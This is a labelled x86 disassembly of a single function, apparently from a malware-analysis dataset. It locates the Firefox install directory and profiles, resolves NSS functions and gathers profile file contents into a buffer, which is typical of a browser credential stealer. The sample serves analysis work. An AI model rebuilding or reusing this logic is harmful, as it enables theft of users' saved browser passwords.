Function at 0x402010
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
mov eax, dword [0x4b9510]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x28c], 0x4a668c
mov dword [ebp - 0x288], str.ENCWCHAR_Profile_d
mov dword [ebp - 0x284], str.ENCWCHAR_ResolveNSSFunctions___failed.
mov dword [ebp - 0x280], str.ENCWCHAR_LocalAlloc___failed.
mov dword [ebp - 0x27c], str.ENCWCHAR_GetFirefoxInstallDirectory___failed.
lea eax, [ebp - 0x260]
mov dword [ebp - 0x274], eax
lea ecx, [ebp - 0x198]
mov dword [ebp - 0x270], ecx
lea edx, [ebp - 0x420]
mov dword [ebp - 0x26c], edx
lea eax, [ebp - 0xd0]
mov dword [ebp - 0x268], eax
lea ecx, [ebp - 0x358]
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x424], 0
jmp 0x4020ac
mov edx, dword [ebp - 0x424]
add edx, 1
mov dword [ebp - 0x424], edx
cmp dword [ebp - 0x424], 5
jae 0x4020e8
push 0x64
mov eax, dword [ebp - 0x424]
mov ecx, dword [ebp + eax*4 - 0x274]
push ecx
push 0
push 8
mov edx, dword [0x4bb3e8]
push edx
mov eax, dword [ebp - 0x424]
mov ecx, dword [ebp + eax*4 - 0x28c]
push ecx
call fcn.0040b370
add esp, 0x18
jmp 0x40209d
mov dword [ebp - 0x278], 0
push 0x30d40
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0
je 0x402397
call fcn.00401c00
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 0x20
jne 0x40238f
mov dword [ebp - 0x42c], 0
call fcn.00401b00
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0
je 0x402363
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x434], 0
je 0x402328
mov edx, dword [ebp - 0x430]
push edx
lea eax, [ebp - 0x260]
push eax
mov ecx, dword [ebp - 0x434]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0
je 0x402319
mov edx, dword [ebp - 0x438]
push edx
push 0x7fff
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
je 0x40230c
mov eax, dword [ebp - 0x430]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
cmp eax, 1
jne 0x40230c
mov ecx, dword [ebp - 0x434]
push ecx
call fcn.00401e50
add esp, 4
cmp eax, 1
jne 0x4022d3
push 0x2710
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 0
je 0x4022d1
mov dword [ebp - 0x448], 0
jmp 0x40222d
mov edx, dword [ebp - 0x448]
add edx, 1
mov dword [ebp - 0x448], edx
cmp dword [ebp - 0x448], 3
jge 0x4022c4
mov eax, dword [ebp - 0x448]
push eax
lea ecx, [ebp - 0x198]
push ecx
mov edx, dword [ebp - 0x440]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x444]
push eax
mov ecx, dword [ebp - 0x440]
push ecx
call fcn.00402c60
add esp, 8
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 0
je 0x4022bf
mov edx, dword [ebp - 0x444]
push edx
mov eax, dword [ebp - 0x43c]
push eax
mov ecx, dword [ebp - 0x278]
add ecx, dword [ebp - 0x42c]
push ecx
call fcn.00493210
add esp, 0xc
mov edx, dword [ebp - 0x42c]
add edx, dword [ebp - 0x444]
mov dword [ebp - 0x42c], edx
mov eax, dword [ebp - 0x43c]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x40221e
mov ecx, dword [ebp - 0x440]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x4022ff
lea edx, [ebp - 0x420]
push edx
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 0x278]
lea edx, [ecx + eax*2]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x42c]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 0x438]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov ecx, dword [ebp - 0x438]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 0x434]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x402354
lea eax, [ebp - 0xd0]
push eax
mov ecx, dword [ebp - 0x42c]
mov edx, dword [ebp - 0x278]
lea eax, [edx + ecx*2]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x42c]
mov dword [ebp - 0x42c], eax
mov ecx, dword [ebp - 0x430]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x40238f
lea edx, [ebp - 0x358]
push edx
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 0x278]
lea edx, [ecx + eax*2]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x42c]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 0x278]
jmp 0x402399
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004931fa
mov esp, ebp
pop ebp
ret